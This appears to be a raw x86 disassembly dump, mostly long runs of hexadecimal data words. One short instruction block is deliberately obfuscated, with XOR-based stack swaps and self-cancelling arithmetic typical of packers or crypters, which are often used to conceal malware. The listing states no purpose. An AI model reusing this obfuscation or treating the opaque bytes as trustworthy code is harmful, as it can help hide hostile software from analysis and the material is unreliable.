		dd 0E585C7FCh, 5E419h, 60000000h, 51BD0B60h, 2905E401h
		dd 0E4313D85h, 858B6105h, 5E4182Dh, 0F3ADE961h,	9D8BFFFFh
		dd 5E42045h, 0C381C18Bh, 209C1313h, 19D5858Dh, 6A05E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 508FFFC3h, 10E9h, 5A310F00h,	70B24566h, 8D13E011h, 169B1099h
		dd 2404899Bh, 0FE8h, 86124D00h,	0DED39598h, 726135DDh
		dd 1B6FA28Dh, 319D8589h, 6A5F05E4h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0FC7A7B8Fh
		dd 6AA107E7h, 9958900h,	8D05E415h, 0E8D86485h, 21958905h
		dd 8305E41Bh, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 2B8CC9C3h, 231BAD26h, 0E40FFDBDh
		dd 8B665005h, 240489FEh, 48F0Fh, 0BF660000h, 6ACA82h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C2C35343h, 0A031D557h
		dd 24ECE74Bh, 1FD19589h, 8D0905E4h, 5E4174Dh, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0D67CFCC3h, 0FFC0E93Ch, 0E421A195h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 204CE9E0h, 59F85D8Ah, 0D98B9D7Ch, 9E7F8D8Dh,	6A05E7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 31F0B0C3h, 7E9h, 7AA52800h, 746DD8C6h, 0CF81D1FFh, 72F13424h
		dd 2995BD83h, 0F0105E4h, 8885h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 12D7EB1Eh
		dd 6646DB38h, 26AFE8Bh,	90DAB70Fh, 50EA8A60h, 0FD38B52h
		dd 810F31h, 5A000000h, 90506158h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 97C35040h, 4E124506h, 0D6779F6h
		dd 125D9D8Bh, 95FF05E4h, 5E41045h, 7E8h, 413BB400h, 3A76CF44h
		dd 68B0Fh, 9D8B0000h, 5E40495h,	0EA6E95Fh, 0E80000h, 5D000000h
		dd 0D86EED81h, 6A05E8h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 5C7659C3h, 0FE446A5Dh, 9D8B8EF4h
		dd 5E430D5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0A2C35646h, 0E85DBA25h,	0B7794C30h, 0A1BD8B57h
		dd 8D05E410h, 0E7816885h, 0D88B6605h, 50505B57h, 7E852h
		dd 0B5CE0000h, 69AD5CE6h, 0F525045h, 5F585A31h,	8B66310Fh
		dd 89585AF9h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0E1F73CC3h, 1EE205EEh, 45BF5091h
		dd 810CA84Bh, 0C3E387D7h, 35FF6458h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0EC35141h
		dd 392F7F4Ch, 0C99D8B25h, 6405E421h, 2589h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 9A9A15C3h, 85007989h, 85FFFE8Bh, 5E4142Dh, 23398D89h
		dd 0FF6A05E4h, 1A759D8Bh, 0B5FF05E4h, 5E4078Dh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0F7C35545h, 20C78148h
		dd 0FF701697h, 0E42DAD95h, 10DE905h, 0B70F0000h, 0E600B0D8h
		dd 0E7815070h, 7149EF86h, 519D8B5Bh, 0E405E418h, 0BE971h
		dd 52810000h, 0B173519Ah, 78FDAC27h, 0F613C87h,	0DE83h
		dd 0C8B60F00h, 2B1D8D89h, 6BA05E4h, 0E9000000h,	0Ah, 71EB1009h
		dd 9A84C5C6h, 0C18B8453h, 0C890Fh, 8F0F0000h, 6, 2CDD9D89h
		dd 0E8C105E4h, 860F5304h, 0Eh, 9E9h, 86900500h,	4486962Eh
		dd 665F9A0Ah, 8166E2F7h, 19F78D3h, 0E41BDD9Dh, 8BC82B05h
		dd 0E9DE8BD1h, 7Bh, 219DB509h, 858B05E4h, 5F4C4C44h, 51CF8166h
		dd 7C0834Bh, 83F88B66h,	565300C0h, 5B5FFB8Bh, 830FD03Bh
		dd 1Bh,	1D219D89h, 48E905E4h, 0BB000000h, 17A2A1BDh, 5850Fh
		dd 3ABB0000h, 8B0F694Ah, 0FFFFFF8Dh, 5E9FFh, 5D8F0000h
		dd 83FABE6Bh, 840F01E1h, 1Fh, 0D1C78166h, 0FFA58384h, 0FEFFFFFFh
		dd 25959D29h, 958905E4h, 5F4C4C44h, 0E9FE8Bh, 8D000000h
		dd 0E858CFB5h, 8F0F05h,	6A000000h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 89A73A4h, 0C195FFE1h
		dd 6A05E410h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 407BC353h, 0A6545CDFh,	7E8h, 0B6EDFB00h
		dd 0F2F4C2B7h, 0D0B95BF5h, 6A00000Fh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 5ACBC356h
		dd 0B9D9E58h, 0E400319Dh, 0FCE18305h, 0FD9D8Bh,	9FC05E4h
		dd 0E416618Dh, 0B805h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0F62A3CC3h, 33DA9F3Dh
		dd 0BA9Bh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 1BC15C3h, 0ACAA6D5Eh, 33ADB0B6h
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 9396F5C3h, 65B10139h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 9BC35040h
		dd 68E000AEh, 0EE9h, 0EA9F4D00h, 2A9569DDh, 0E5B396D5h
		dd 0D88D87Bh, 88h, 0FF36F0BFh, 95958B69h, 6A05E410h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0E300C357h, 5433302h, 7C795DE5h, 26019D8Bh, 816605E4h
		dd 8B516AD3h, 0E42C658Dh, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0AE73F8D7h
		dd 0B218FFC8h, 1065B589h, 8B5005E4h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 8AC35545h, 0A7CC8CBCh, 988C488Eh, 52D98BEBh
		dd 51006A5Bh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0DBC82AF6h, 5606D636h, 13F1BD01h, 0BD8305E4h
		dd 5E42135h, 79840F00h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 782CC357h
		dd 35B62B3Ch, 0C4D0BF66h, 1E860Fh, 8C0F0000h, 18h, 13E9h
		dd 47F91700h, 74B843F8h, 300698C1h, 0CA8C92FAh,	0E8DDA338h
		dd 0B8h, 308D8D00h, 6A05E44Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 49A2C352h, 0BD8BE1FFh
		dd 5E41775h, 30FDBD83h,	0F0005E4h, 42384h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 6995294Dh, 8305E428h, 0E430FDBDh, 840F0105h,	40Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 49C35646h, 0EEDEB2D3h
		dd 0C86F19A4h, 0E9F98BE6h, 0Eh,	5004EDB1h, 5AB5EA67h, 0D28146A2h
		dd 0BD834048h, 5E430FDh, 92860F03h, 6A000003h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 7C1DC350h, 0BD8BC5E1h, 5E413B5h, 88F0F60h, 56000000h
		dd 2109BD89h, 665F05E4h, 6AD98Ch, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 520F86C3h, 9D8B5128h
		dd 5E41AEDh, 4E1805Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 61C35141h, 8B6660C2h,	998D8BDEh, 6105E42Ch
		dd 840FC90Ah, 124h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 78C35242h, 0C20F760Ah, 4916695Ch, 12E9h
		dd 607AC700h, 0C0E80D13h, 0F6125D94h, 0D54C4C35h, 8BB9D2D8h
		dd 0E42C9D85h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0E5653445h, 7D9D8BFDh
		dd 3305E413h, 0E4209985h, 909CB305h, 6650B9B3h,	9009EDBBh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 2EC35747h
		dd 23E64277h, 6A9CAA3Dh, 359D8B00h, 0E905E416h,	11h, 8EFBE533h
		dd 5E885854h, 4AF39ED6h, 4BAB297h, 0C3406837h, 60B7A2A4h
		dd 0BF240481h, 895D7A40h, 0E41FD18Dh, 5995FF05h, 6605E401h
		dd 8589DE8Bh, 5E79F5Fh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 6C35747h, 47B6BD0Dh, 3258CEAFh, 7E95077h
		dd 47000000h, 36C1EA3Bh, 0E95FD32Ch, 187h, 0BE9h, 25083E00h
		dd 513DA8E8h, 50CB1C6Ch, 9F57858Bh, 6A05E7h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0FED01CC3h
		dd 2996DBE8h, 1800C7A0h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 35DAC352h
		dd 8134C1F8h, 0DAFBD1B0h, 0B58BFE8Bh, 5E79F5Bh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D3C35141h, 4ACF684Bh
		dd 2A21858Bh, 0AE905E4h, 11000000h, 0D8A8DDE3h,	0DCE8A9AFh
		dd 660689B9h, 895A88BFh, 0E403D585h, 9D858B05h,	6A05E42Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8907C356h, 0E407058Dh, 4468905h, 2860Fh
		dd 41B30000h, 0F98B6650h, 8B243489h, 0E42A8DBDh, 57B5FF05h
		dd 8105E79Fh, 0E3DAC3D7h, 11BD8B61h, 6805E41Bh,	0BA17BE5Ah
		dd 481DA8Bh, 745A524h, 51006A46h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0A226D616h, 8D1E58DAh
		dd 0E79F5F85h, 0E3816605h, 0BF90CCD6h, 46A936A4h, 5B515150h
		dd 6A905Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0DFF329C3h, 14F18769h, 5995FF42h,	0E905E401h
		dd 13h,	0CB43B9E2h, 896FC0C9h, 6FB615E4h, 0E0F926AFh, 61E7F8ABh
		dd 1E8EEB81h, 85C75662h, 5E430FDh, 3, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 1CC35242h, 9F5FBD83h, 0F0005E7h
		dd 2C84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 26E947h, 66600000h, 595FE281h, 5A5F5256h
		dd 0C305061h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	86C35747h, 0FE856A0h, 0D7000000h, 7FA85A3Bh, 9D1D106Bh
		dd 0AE391619h, 0BD8BCB76h, 5E41431h, 53006A5Bh,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8371713Ch
		dd 0E430FDBDh, 850F0305h, 475h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0B7C35040h,	0BCAFA577h, 0DEC6E863h
		dd 5FBD835Ah, 5E79Fh, 443840Fh,	2BBB0000h, 0FF725721h
		dd 0E79F5FB5h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0E82B4E01h, 0F381667Eh
		dd 0BD8B6315h, 5E414DDh, 1C1595FFh, 6A05E4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8BB88BC3h
		dd 0E79F53B5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0DB809316h, 399D332Dh
		dd 0C705E421h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 638D0D56h, 0EB81660Bh
		dd 6050D668h, 0C542B866h, 24348961h, 0D6D78166h, 5FB5FF50h
		dd 0F05E79Fh, 687h, 46C38100h, 0FF210964h, 0E4172D95h
		dd 89BD2905h, 8B05E42Ah, 0E79F53B5h, 50006A05h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 1D858BD4h
		dd 6A05E41Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0A4B3C352h, 17BDB48Ch,	0C48689h
		dd 9E90000h, 0CF000000h, 49D7C8F6h, 2861CB1Bh, 13E9h, 98E33600h
		dd 64DB6648h, 0BA06E25Dh, 0FFCD0E30h, 0B94945B7h, 1095958Bh
		dd 0BD8B05E4h, 5E41C75h, 32959D29h, 0C28305E4h,	57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0C381669Ch, 0BD89DFDCh, 5E431D5h, 60205089h,	68F0Fh
		dd 8D010000h, 5E41EF5h,	5800Fh,	0EDB90000h, 615167A0h
		dd 0B384858Dh, 6A05E7h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 85092BC3h, 5E42201h, 0B88689h, 8B660000h
		dd 6A006ADEh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 1489C352h, 1C2D6B5Ah, 28A0Fh
		dd 0DF8B0000h, 9F5FB5FFh, 0D98B05E7h, 99D29h, 95FF05E4h
		dd 5E41045h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	53C35343h, 57A08D78h, 2071BD8Bh, 509605E4h, 5E50BB66h
		dd 459D8B96h, 0FF05E412h, 0E79F5FB5h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 0CFCF13FAh, 0AE1265CBh, 10E860h, 0CFE40000h,	0DDC06716h
		dd 0C513F8F7h, 0F24CB34Fh, 8B66D4F9h, 820F5BF3h, 2, 0FF615E51h
		dd 0E4136595h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 5061236Ah, 8B3A6EDAh
		dd 0E41C619Dh, 0F9BD8305h, 5E408h, 47840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0A1249C3h, 0DABD0998h, 9D8B11C9h, 5E420F5h, 1B69BD8Bh
		dd 5B5605E4h, 50DA8B96h, 4840Fh, 0BF660000h, 8B9605E1h
		dd 0E41B5D9Dh, 5FB5FF05h, 6A05E79Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0CC29C353h
		dd 66A92332h, 95FFF98Bh, 5E429C5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 3CC35747h, 2DD0C1FCh, 0DD8F00A3h
		dd 0EE8BCh, 0C40E0000h,	2E818A0Ch, 0F10A859Fh, 3CF64B81h
		dd 0FF5F59B3h, 0E79F5FB5h, 29B58905h, 0FF05E420h, 0E4197195h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 8D896763h, 5E43129h, 3125BD83h, 0F0205E4h
		dd 4984h, 9E900h, 2B9F0000h, 0CA5251CBh, 8BB7470Eh, 0E4119185h
		dd 0C19D8B05h, 0C605E425h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 5FF8B3C3h
		dd 813DD8F6h, 0E05A75CBh, 0B70F5144h, 85C75BD9h, 5E419E5h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 31C35040h
		dd 41BB85C6h, 8166F9C4h, 67EAE6D3h, 0F2C8E944h,	6AFFFFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0F1273CC3h, 0ACB600B4h, 1F25BD8Bh, 0C18B05E4h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0ABC35242h, 667826FCh
		dd 0EEC0C2CBh, 0E87A04EBh, 0A2E95E34h, 6D000005h, 0B66C73EAh
		dd 18028502h, 6BB7D651h, 0B36F6EE9h, 17008702h,	0C57CF1A8h
		dd 1B9458C2h, 0AF28AE74h, 0C245F228h, 186524C3h, 54EDCD1Ah
		dd 77B7EC9Ah, 527349C0h, 0E5B0B2F3h, 0CB0C4F04h, 0D651040Eh
		dd 62FAD0B7h, 4028D8F4h, 2BA0EAA7h, 6B5EDB0h, 553E3587h
		dd 0F776E507h, 0E34D0A10h, 2983F473h, 0EE69E03Ah, 4F2EB725h
		dd 5C1F476h, 2296704Fh,	0EBDC17A5h, 0F374E42Eh,	31714BD9h
		dd 3C91BD0h, 0EA305788h, 3EE4EB6Ch, 0D250ADB8h,	524F05C1h
		dd 6499B5E1h, 0BE6745CFh, 69ED7F4Dh, 0A99A15C7h, 0BF38BCE6h
		dd 6775F463h, 0D1A923ECh, 755D070Bh, 4BDEA468h,	0EF2BE44Ah
		dd 33EFEE69h, 2DAE2C84h, 6CB615F8h, 37356AEDh, 0B54F04FFh
		dd 1CC38942h, 4F04FF1Bh, 428BF7D5h, 2E14E201h, 0AF6Ah
		dd 8BF45B00h, 4F04F2A9h, 4E0FC80Bh, 6150C077h, 2C51E397h
		dd 0DC03598Ah, 4F05D35Ch, 5CC3496h, 2E15B63Eh, 9D9FE047h
		dd 1F4F05C6h, 114473DCh, 65000000h, 22D8BC0Dh, 9C278CC1h
		dd 0FBDB377Eh, 0DEFF587Dh, 8144C377h, 5CAC71A9h, 5D80163h
		dd 66B0634Fh, 450E8BD1h, 4B644E17h, 0B02BA11Fh,	0E5EF2B18h
		dd 69B51EB8h, 108F4FE1h, 0F7568BB8h, 11AB2EABh,	5374113Bh
		dd 261B1DE0h, 1BDD6F6Dh, 8432C8E0h, 2593A903h, 2F7B16A2h
		dd 8DD72BE3h, 73F46485h, 4BC476ACh, 8298FF8Eh, 0CB7850D7h
		dd 2DBF3ABFh, 0BA315D36h, 96465C03h, 0BC29BC19h, 714BC677h
		dd 0D0E86FEBh, 5CBDE5C5h, 187F1E99h, 7AFC5202h,	778EBC1h
		dd 108B404Ah, 0B037A2B8h, 0B5FD4D18h, 14CEF77Ch, 4F602Eh
		dd 77B70000h, 0EB714BC6h, 43D1EB6Eh, 15D83979h,	0AE2FFB9Ah
		dd 87366C33h, 2C11B008h, 4F04E64Eh, 5F386DAEh, 88F5547Dh
		dd 4F04E5AAh, 20CC90Ah,	2885D750h, 8CE72E52h, 0FD2E14CFh
		dd 6Ch,	4BC67718h, 0EA6DEB71h, 60A00ADEh, 3255CC81h, 64D6CCA5h
		dd 5E9314C2h, 0F87A4B0Ah, 744F04E5h, 99854E83h,	430256D1h
		dd 7D3B5477h, 5472200h,	551824Fh, 0C88D1A2Bh, 56021C51h
		dd 3A3F04D1h, 0DA4F04E8h, 3DCF9D1Ah, 0D05293B8h, 2C4F04E7h
		dd 5A22B6EBh, 1F61B0F0h, 0F26A149h, 0AE3C6CA1h,	50D8AB62h
		dd 1012E15h, 54000000h,	12106DCCh, 924F04E6h, 2FAAF4A1h
		dd 4D0A10A8h, 442EFECAh, 0BD3CBD5Ch, 280A7BDAh,	844F04E6h
		dd 94E78653h, 17F659DBh, 0CD4C0Bh, 0E911D623h, 0EFFD3E54h
		dd 0B81F9E5Dh, 6672F562h, 859D20EDh, 0C20557D6h, 54E9115Eh
		dd 0DA2B3EBAh, 54E91158h, 9A2E63D4h, 3753CC80h,	0ECB00887h
		dd 0F6CA020Eh, 4E0DEC14h, 81E9C8CFh, 6BEE2A88h,	2B67DCECh
		dd 917A4E01h, 555EC675h, 45AB8BBAh, 2A70D708h, 17682FA8h
		dd 54E9BF15h, 0E1EBA497h, 3E3C01E0h, 0BE54E9BFh, 0C176907Dh
		dd 3677246h, 0FE79FE1Fh, 0A2186BDFh, 6E4133F9h,	94000001h
		dd 2AED6FD8h, 0E903CCD5h, 8C4EA854h, 708ADE13h,	970259FBh
		dd 7444C774h, 0A71893FFh, 187F1E53h, 0E2E644B9h, 954654E9h
		dd 9E19DE38h, 0D99F8BCAh, 1344C377h, 0C5C18AB9h, 51309716h
		dd 0B3098049h, 0E2E14380h, 0A79854E9h, 54E9E2C5h, 9CAF427h
		dd 79FE0C4Ch, 9E50EAFEh, 7A855765h, 80CCCF6h, 4AB61CABh
		dd 6F93F782h, 0F06BED35h, 5B1F6BD8h, 0FA578CDCh, 0FDA0DB90h
		dd 0D255041Eh, 16144D86h, 9654E982h, 65D5E8A5h,	33F9651Eh
		dd 6C4Fh, 6DCC8E00h, 4E61210h, 0F4A1924Fh, 8CF4505h, 4E68537h
		dd 38D63C4Fh, 4142AAC2h, 69AAD481h, 7EF97CA6h, 2200C795h
		dd 0E24F057Ch, 45E7F572h, 35401893h, 8CC2D55h, 5C035A8Fh
		dd 7BA280FDh, 0D1024F05h, 18565A04h, 186528A2h,	4F057C6Ah
		dd 30AB20CAh, 55D28298h, 8F9BCC07h, 7E6152CDh, 78FFh, 10C2D800h
		dd 450EC597h, 0ED6FD814h, 0F6F8D52Ah, 117454E8h, 0F1656F39h
		dd 0E8D9EF9Eh, 54E9948Ah, 0E4F429EAh, 77169146h, 0EAAD2CABh
		dd 94383A0Bh, 43B454E9h, 93C1A39Ch, 0F02354E9h,	0ABB2B527h
		dd 0D154E994h, 71E6070Bh, 2BE4D7F6h, 0A899E6A9h, 0C5AD27Ah
		dd 0EC6BF1CBh, 0DE8F5F6Dh, 0C29611C4h, 2EC0A283h, 0FB3C4F11h
		dd 8181CD86h, 319416CFh, 0FA167BCCh, 7518DB54h,	67D6CCE0h
		dd 0B663D0E8h, 0C5880AC3h, 3ABD3C66h, 0CD1F1051h, 548754EDh
		dd 6471E604h, 0EDCD191Bh, 67589B54h, 0BA3DBA60h, 930ECFDBh
		dd 4EAD92C6h, 0CAB0C9D1h, 2E3C8C0Bh, 0E9B31AEh,	6ABC74BCh
		dd 7AF11010h, 9146DCC3h, 36B84216h, 0F55F2FBDh,	45EF6C8Dh
		dd 0A2251691h, 9578F378h, 8451C88Dh, 0F6DD4h, 6B80000h
		dd 66FA7BA7h, 0E2A62F24h, 430C413Dh, 4DC4770Ah,	0EF6EED7Fh
		dd 0E894FDDh, 0B32CA0BAh, 0D7520319h, 7BF66785h, 9E19DB61h
		dd 3EB930CAh, 5FD890AAh
		db 0Dh,	0B3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	4782h
		mov	[esp], eax
		push	6B21h
		mov	[esp], edi
		mov	eax, 7EBC6D94h
		inc	eax
		push	ebp
		mov	ebp, 7B548A8Fh
		xor	eax, ebp
		pop	ebp
		push	71C6h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	eax
		push	eax
		mov	eax, 51DD6067h
		add	[esp+4], eax
		pop	eax
		pop	dword ptr [edi+8]
		sub	dword ptr [edi+8], 51DD6067h
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54658E
; ---------------------------------------------------------------------------
		dd 0EC35B8EFh, 0C50305E8h, 7603E0FFh, 0BDDF0127h, 8FF90189h
		dd 0BB3F0998h, 0CB5D4573h, 2B1B7088h, 15BF19CBh, 0CBDD1296h
		dd 5CEC3B64h, 77A7806h,	4027254Eh, 0E1AF75D0h, 0C82E083Eh
		dd 858D556Eh, 5E419D5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 8DC35242h, 7FF8D30Fh,	8B75623Bh, 525090F9h
		dd 0FDA8B66h, 0F525031h, 81h, 8A310F00h, 5A585ADAh, 870F5058h
		dd 7, 9705BF51h, 905B6C88h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 4DC35242h, 0BEDD3168h, 0DDB8166h, 0F6057AEh
		dd 87h,	1BD8900h, 6105E421h, 8B006A5Bh,	6A006ADEh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 6FCAC352h, 0C46FC5F3h, 0BE8h, 0F6781600h, 25E66C73h
		dd 417ADE66h, 11659D8Bh, 8D5B05E4h, 0E8EF1F85h,	0D9D8B05h
		dd 8305E42Ah, 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 669ACCC3h, 0F51DE8Bh, 58Ah, 0A6BABB00h
		dd 505B4FACh, 0C1B37BBBh, 24048905h, 6A23E380h,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 64C8FDBCh, 230FE68h,	0DE8B77B2h, 4118D89h, 6A05E4h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 43C35747h
		dd 6DA38823h, 964442DDh, 19BD8B4Ch, 0FF05E423h,	0E421A195h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0B91FC9E0h, 0D88BE8E6h, 9E7F8D8Dh, 0BD8B05E7h
		dd 5E419E9h, 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 831F96C3h, 0E42995BDh, 850F0105h
		dd 5Ch,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh
		dd 57C35747h, 0F4EAC41Ch, 8086CB5Ah, 26A83DBh, 8E9h, 0E758C900h
		dd 84D7893h, 48950EAh, 0BE824h,	2F6F0000h, 0ABE4F769h
		dd 7EA0DE6Ch, 0C5BD896Ah, 5F05E408h, 104595FFh,	9D0B05E4h
		dd 5E40FD5h, 0C5FE9h, 0E800h, 815D0000h, 0E8EF29EDh, 1BD2305h
		dd 6A05E413h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0F826C356h, 1F3CAC58h,	8988DAF2h
		dd 0E4280DB5h, 68858D05h, 6A05E781h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0A936C356h
		dd 6650F851h, 8978BCBBh, 0BD892404h, 5E426E9h, 35FF64h
		dd 0B7000000h, 25896405h, 0
		dd 10B9BD31h, 85FF05E4h, 5E4142Dh, 16999D29h, 958905E4h
		dd 5E4227Dh, 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0CA433C3h, 0DFF6ACEAh, 0FFF19AF2h
		dd 0E431EDB5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 4F8EC480h, 30ADB589h
		dd 8B6605E4h, 0AD95FFD8h, 0E905E42Dh, 0EFh, 419D03F5h
		dd 0B005E424h, 830F6000h, 3, 80F88B66h,	0E66125CCh, 6D9D8B70h
		dd 8905E40Dh, 0E4237D8Dh, 8071E405h, 613C6AEBh,	0BD830Fh
		dd 0BD8B0000h, 5E413E9h, 66C8B60Fh, 6BAF98Bh, 8A000000h
		dd 0FC18BFDh, 0E8C1FFBFh, 9F41BB04h, 0F76608ACh, 66C82BE2h
		dd 791BCB81h, 0DB80D18Bh, 89E967h, 830F0000h, 3, 8BFE8B66h
		dd 554C5085h, 0CD9D8947h, 8305E408h, 0CE907C0h,	25000000h
		dd 6C98F7FDh, 1E5BDF95h, 83A3FBE8h, 0B70F00C0h,	0FD03BFAh
		dd 1183h, 2DBD8B00h, 0E905E400h, 47h, 2781BD89h, 8D8B05E4h
